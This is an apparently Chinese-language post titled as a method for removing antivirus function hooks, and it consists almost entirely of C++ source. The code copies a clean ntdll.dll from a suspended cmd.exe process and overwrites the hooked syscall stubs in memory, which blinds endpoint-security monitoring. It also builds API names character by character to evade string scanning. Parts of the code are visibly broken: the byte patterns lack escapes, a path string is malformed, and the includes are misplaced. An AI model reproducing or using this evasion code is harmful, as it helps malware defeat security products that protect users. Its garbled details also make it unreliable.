一种解除反病毒软件函数钩子方法及代码验证

int LocateFirstSyscall(char* pMem, DWORD size) {
    DWORD i = 0;
    DWORD offset = 0;
  
    // 指令: syscall ; 返回: ret
    BYTE pattern1[] = "x0fx05xc3";
  
    // 3个断点: int3 * 3
    BYTE pattern2[] = "xccxccxcc";

    for (i = 0; i < size - 3; i++) {
        if (!memcmp(pMem + i, pattern1, 3)) {
            offset = i;
            break;
        }
    }

    for (i = 3; i < 50; i++) {
        if (!memcmp(pMem + offset - i, pattern2, 3)) {
            offset = offset - i + 3;
            cout << "First syscall identified at 0x" << hex << (void*)(pMem + offset) << endl;
            break;
        }
    }

    return offset;
}

int LocateLastSysCall(char* pMem, DWORD size) {
    DWORD i;
    DWORD offset = 0;
  
    // 指令: syscall ; 返回: ret ; Int 2e ; 返回: ret ; 3个断点: int3 * 3
    BYTE pattern[] = "x0fx05xc3xcdx2exc3xccxccxcc";

    for (i = size - 9; i > 0; i--) {
        if (!memcmp(pMem + i, pattern, 9)) {
            offset = i + 6;
            cout << "Last syscall byte found at 0x" << hex << (void*)(pMem + offset) << endl;
            break;
        }
    }

    return offset;
}

static int RemoveHookFromNtdll(const HMODULE hNtdll, const LPVOID pCache) {
    DWORD oldProtection = 0;
    PIMAGE_DOS_HEADER pImgDOSHeader = (PIMAGE_DOS_HEADER)pCache;
    PIMAGE_NT_HEADERS pImgNTHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pCache + pImgDOSHeader->e_lfanew);
    int i;
    unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };

    VirtualProtect_t VirtualProtectFunction = (VirtualProtect_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sVirtualProtect);

    // 搜索.text节
    for (i = 0; i < pImgNTHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER pImgSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        if (!strcmp((char*)pImgSectionHeader->Name, ".text")) {
            // 准备ntdll.dll内存区域以获取写权限
            VirtualProtectFunction((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHeader->VirtualAddress), pImgSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);

            // 将干净的“系统调用表”复制到ntdll内存中
            DWORD SC_start = LocateFirstSyscall((char*)pCache, pImgSectionHeader->Misc.VirtualSize);
            DWORD SC_end = LocateLastSysCall((char*)pCache, pImgSectionHeader->Misc.VirtualSize);

            if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) {
                DWORD SC_size = SC_end - SC_start;
                cout << "Destination (in ntdll): " << (void*)((DWORD_PTR)hNtdll + SC_start) << endl;
                cout << "Source (in cache): " << (void*)((DWORD_PTR)pCache + SC_start) << endl;
                cout << "Size: " << SC_size << endl;
                cin.get(); // 用cin.get()替换getchar()。

                memcpy((LPVOID)((DWORD_PTR)hNtdll + SC_start),
                    (LPVOID)((DWORD_PTR)pCache + +SC_start),
                    SC_size);
            }

            // 恢复ntdll的原始保护设置
            VirtualProtectFunction((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHeader->VirtualAddress), pImgSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);

            if (!oldProtection) {
                // 失败
                return -1;
            }
            return 0;
        }
    }

    // 失败或.text节未找到!
    return -1;
}

int main(void) {
    HANDLE hProcess = NULL;
    int result = 0;
    STARTUPINFOA startupInfo = { 0 };
    PROCESS_INFORMATION processInfo = { 0 };
    BOOL createSuccess = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\Windows\System32\", &startupInfo, &processInfo);

    if (createSuccess == FALSE) {
        cout << "[!] Error: Unable to invoke CreateProcess" << endl;
        return 1;
    }

    // 获取ntdll模块在内存中的大小
    char* pNtdllAddress = (char*)GetModuleHandle(L"ntdll.dll");
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pNtdllAddress;
    IMAGE_NT_HEADERS* pNTHeader = (IMAGE_NT_HEADERS*)(pNtdllAddress + pDosHeader->e_lfanew);
    IMAGE_OPTIONAL_HEADER* pOptionalHeader = &pNTHeader->OptionalHeader;

    SIZE_T ntdllSize = pOptionalHeader->SizeOfImage;

    // 分配一个本地缓冲区，用于保存从远程进程中复制的干净ntdll的临时副本
    LPVOID pCache = VirtualAlloc(NULL, ntdllSize, MEM_COMMIT, PAGE_READWRITE);
    cout << "ntdll size: " << hex << ntdllSize << " | cache: " << pCache << endl;

    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(processInfo.hProcess, pNtdllAddress, pCache, ntdllSize, &bytesRead))

    cout << "Error reading: " << bytesRead << " | " << GetLastError() << endl;
    cout << "Kill?";

    TerminateProcess(processInfo.hProcess, 0);
    cout << "Done." << endl; 
    // 成功解除钩子
    cout << "Unhooking ntdll" << endl;

    result = RemoveHookFromNtdll(GetModuleHandle(sNtdllW), pCache);
    cout << "YAY!" << endl; cin.get();

    // 资源清理.
    VirtualFree(pCache, 0, MEM_RELEASE);
    return 0;
}

#include <winternl.h>
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <psapi.h>

#pragma comment (lib, "advapi32")

using namespace std;

typedef BOOL(WINAPI* VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
wchar_t sNtdllW[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', 0x0 };
wchar_t sKernel32W[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0x0 };